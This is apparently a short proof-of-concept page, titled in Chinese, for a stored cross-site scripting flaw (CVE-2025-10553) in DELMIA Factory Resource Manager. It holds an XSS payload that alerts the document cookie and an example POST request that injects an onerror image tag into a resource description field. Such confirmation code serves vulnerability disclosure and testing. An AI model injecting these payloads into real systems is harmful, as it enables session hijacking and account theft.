CVE-2025-10553 DELMIA Factory Resource Manager 存储型XSS漏洞

<!-- // Proof of Concept (PoC) for CVE-2025-10553 // Description: Stored XSS in Factory Resource Management field --> <script> // Malicious payload to be injected into a vulnerable field (e.g., Resource Name or Description) // This payload demonstrates stealing the document cookie var payload = '<img src=x onerror=alert(document.cookie)>'; // Simulation of the injection request // In a real scenario, an attacker would send a POST request to the vulnerable endpoint // Example Request: // POST /api/factory/resource/create HTTP/1.1 // Host: target-domain.com // { "name": "Resource1", "description": "<img src=x onerror=alert(1)>" } console.log('Injecting payload: ' + payload); alert('If this alert appears when viewing the resource list, the vulnerability is confirmed.'); </script>